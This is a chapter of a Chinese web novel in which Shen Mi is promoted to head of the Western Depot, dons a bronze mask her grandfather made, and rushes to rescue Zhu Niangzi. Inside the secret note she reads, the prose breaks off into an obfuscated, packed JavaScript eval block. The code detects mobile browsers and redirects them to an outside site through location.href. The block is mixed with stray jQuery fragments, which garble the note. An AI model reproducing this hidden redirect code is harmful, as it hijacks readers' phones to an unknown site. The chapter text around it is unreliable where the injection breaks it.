67.泪落成雨

作品:《将军假死再就业【宦官版】

    沈弥一愣,没想到武安帝的旨意来的如此迅速,竟不等她回宫就要在大长公主府颁旨。


    看来武安帝是考虑到御驾亲临一事已被戳破,如今只想抓紧时间将大长公主死于沈弥刀下的所谓“真相”彻底坐实。


    “小冯公公可随我同去?”沈弥听完小宫女所言没有立刻动作,却扭头朝着冯云云笑道,“虽说这边也是接旨办事,但总不必小冯公公亲自盯着。”


    冯云云听沈弥这样说,也就没再多想,同她一道净手焚香后,跟着去了外院领旨。


    早间冯栾拉着他出宝华殿的时候,便交待他近几日要盯紧这个沈弥,既然如今沈大人愿意给他机会沾沾喜气,他又何乐而不为?


    沈弥客气地请小冯公公先行,自己却在迈过院门之时,侧身转向厅内驻足的那几位老宫人使了个眼色,让他们趁机处理好厅中的后事。


    再转身迈过八角门的时候,小冯公公抬眸只瞧见沈弥眼角似乎挂上一滴晶莹,天地瞬间亮如白昼。


    随着一声惊雷在天边乍响,初夏的第一场大雨倾盆而下。


    小冯公公此刻也被雷声震住,下意识伸手去接沿着廊下宫灯一角滴落的雨水,他低语呢喃:“原来是雨啊…..”


    趁着他还在愣神的功夫,沈弥已经踏着脚下青砖,一步一步走向正慌忙避入凉亭里躲雨的宫侍。


    身后小宫女追着送来的油纸伞刚递到冯云云手中,就见沈弥直直走进了雨中,他慌忙出声唤道:“沈大人!”


    一身鲜红色飞鱼服的沈弥没有回头,她掀起下摆跪在凉亭前,雨水顺着发丝蜿蜒至她苍白的脸颊,紧抿的双唇毫无一点血色。


    亭中前来颁旨的太监见此,抬头瞧了瞧天色,清了清嗓子后,缓缓展开了手中的明黄色卷轴,接着道:“奉天承运,皇帝诏曰,今东缉事厂掌刑千户沈弥,亲手斩杀反贼梁凤华,救驾有功,其忠勇之心,天地可鉴。


    朕观其德才兼备,堪当大任,今特擢升沈弥为钦差总督西缉事厂官校办事太监,望尔秉持忠心,辅弼朕躬,殚精竭虑,勿负朕望。钦此!”


    “臣沈弥,叩谢圣恩!吾皇万岁万岁,万万岁!”


    老太监颁旨完毕,不得不走出凉亭,一旁有眼尖的小内侍欲上前撑伞,却被他一掌打落。


    待行至沈弥身前,将圣旨妥帖放入她手里之后,他才接着道:“沈督公快快请起,老奴在此向督公贺喜了!”


    此时冯云云也起身,撑着伞走了过来。老太监赶忙上前接过,将伞举在这两人头顶,自己依然站在了雨中。


    方才那个想献殷勤的小公公,原本捧着雕花漆木的文盘候在老太监身侧,见沈弥起身后向他走来,这才将文盘上金线绣边的红绸掀开,露出其下的那副饕餮纹样的青铜面铠。


    沈弥指腹轻轻抚上这张熟悉的面铠,往日的回忆一瞬间浮现在脑海。


    “阿弥,等你长大要是当将军了,想要个什么样子的面铠?”


    “我想要和外爷一样的!”


    “这怎么行,那些北夷人就是靠面铠认人呢。阿弥也选个自己喜欢的样式,外爷给你制一张全天下最威风的面铠,比外爷这个还要好看,好不好?”


    沈长安最后在桌案上一众图样里选出了眼前这个饕餮样式,那时外爷开心地揉着她的脑袋笑她能吃能喝,确实用上饕餮纹最合适不过。


    在战场上找到外爷后,沈弥偷偷留下了外爷的旱魃面铠,但为了假死脱身,却把外爷亲手给自己做的饕餮面铠留在了大漠深处。


    没想到,兜兜转转,此物最终竟能物归原主。


    可在今日,外爷在这个世上给她留下的痕迹却像是少了一抹色彩。


    因为那个在生死存亡之际,外爷能想到的,可以托付自己亲外孙女的挚友死了,死在他临死前亲手为沈弥制成的玄铁刀刃之下。


    沈弥将面铠拿起,戴在脸上,随着耳后铁器的咔嗒声响,她所有的情绪都被掩在了这张面铠之后。


    滚烫的泪水顺着她的眼角划下,她却仿若未觉,只在一声闷雷之后,感到胸口处传来一阵钝痛,接着便又是道刺眼的白光晃住了在场众人的眼。


    “噗——”


    沈弥捂住胸口,单膝跪地,大口的鲜血从青铜面铠的兽嘴中喷出。


    “阿弥!”


    一道白色的身影从院外向她的方向跑来,急切的呼喊混杂在雷声里,无人留意到那其中暗藏着的莫名情愫。


    “你可有事?”张拙扶住摇摇欲坠的沈弥,眼底只余浓浓的担忧,他轻声道,“一天之内,你竟把自己搞成这样。”


    沈弥挡开他欲抚上自己面铠的手,笑着道:“我无事,知白兄怎得来了?”


    “你早前答应我,会回东宫找我。我有话要同你说,你可是忘了?”


    张拙今日和沈弥在东宫暂别,却等了整整一天都没有等来这人,好在张阁老被武安帝拉去商讨建立西厂一事,也没有功夫管他,他便就这样静静地在沈弥直房待到了宫门快要下钥的时辰。


    谁知刚刚父亲递来消息,沈弥亲手杀了大长公主,颁旨的太监已经出宫,张阁老交待他抽空去恭贺沈弥升任西厂提督。


    张拙料想沈弥没能回东宫同自己见面,怕就是因为此事。


    可是他又很快想到,今夜沈弥杀了大长公主的消息一旦传出,朝中言官直臣难免会利用此事攻讦与她,所以他便决定立刻动身出宫,代表父亲来表明态度,至少能换来一些有意投入张阁老门下的大臣不会抓住机会为难作为内廷权宦的沈弥。


    他没想到的是,自己刚入大长公主府,就看到了眼前的这一幕。


    “我怎么会——”


    沈弥听完张拙说的,才想起来还有这一档子事,不好意思地笑了笑,再出口的话却带着明显的颤音。


    “大人!”


    她还没说完,马逞却拿着一道封好的密笺递上前来,打断了两人接下来要说的话。


    沈弥搓开信上的蜡封,侧过身借着马逞提过来的羊角灯,才看清纸上的小字。


    “朱娘子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393534|164466||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有难,速来!”


    “牵我的马来!”沈弥将纸条丢进灯里的烛火烧了个干净,又忙吩咐马逞,“将我们的人召回来,随我同去!”


    “阿…沈督公!”


    张拙想拉住沈弥,劝她不要再强撑,有什么事不能交给旁人去做?


    可沈弥头也不回地转身朝府外疾步而去,他向虚空处伸出的双手什么都没能抓住,只感受到夜雨落肤带来的一片冰凉。


    原本呆立一旁的小冯公公却在此时夺过老太监手中的伞,紧追了几步,喊道:“沈督公,咱家这边事可还没办完呢!”


    不等他再努力地试图赶上沈弥的脚步,一道黑衣身影便挡在身前,止住了他徒劳的喊声。


    “小冯公公,沈督公点了属下陪您办事,之后也由我送您回宫,您不必担心。”


    冯云云抬头看见一脸老实样的赵歇,心里不由更来气,沈弥走就走吧,还留下这么个不顶事儿的木头桩子,这不是成心让他只能先行回宫?


    小冯公公如何想,沈弥再没心思去管,此刻的她只夹紧了马腹,正飞速地朝霄华楼赶去。


    雕羽制成的外氅隔绝了细密的雨丝,给马上疾驰的沈弥带来了一抹暖意。


    这是顾西北之前送她的,因为那日在从京郊大营回城的路上,她打趣了他雨天穿的鹤氅,说他总有些自己没见过的好东西,也不多拿出来给她长长世面。


    没想到他隔日就送来了这件雕羽外氅,还特意交待了阿宽——每次出门都要替她备着,沈大人自己是个不会操心的。


    沈弥早就猜想到朱娘子是顾西北手下的人,却未料到今日会有人趁顾西北不在上京,就要对朱娘子下手。


    她按下心中纷乱的思绪,抽手拢了拢翻飞的外氅,在眼前出现熟悉的街景时,猛地拉住了缰绳。


    随着一道骏马嘶鸣声起,霄华楼门口嘈杂的人群散开,沈弥瞧见了被几个东厂番子按住的朱娘子。


    “啪,啪啪!”


    扬起的马鞭破空声打破了这瞬间的安静,那几个往日在楼海跟前儿献媚讨好的番子瞬间便被沈弥击倒在地,捂着脸嚎着痛。


    “楼海,你今天给本督公唱的又是出什么戏?”


    “督公?”


    楼海还没收到沈弥已经升任西厂提督的消息。他只是刚得知大长公主已经被其杀死,生怕沈弥得势后就要清算他和师父,所以这才跑来霄华楼,想着先将朱娘子捏在手里,让凌山那狗东西不敢再乱说话。


    可还不等他有所反应,一旁的马逞便走上前踹在他的膝窝,说道:“大胆!督公所戴面铠乃是陛下亲赐,如天子亲临,你一个奴才还敢站着和我们大人说话?”


    楼海被踹的腿一软就跪了下去,正欲出口辩解之时,一个小太监气喘吁吁地跑来,在楼海耳边说了几句话,就又带着他赶忙伏地叩首:“吾皇万岁万岁万万岁!”


    沈弥懒得再看这两人做戏,只先下马走去了朱娘子身边,亲手解开了她身上绑着的绳索,又扯掉她嘴里塞着的绸布。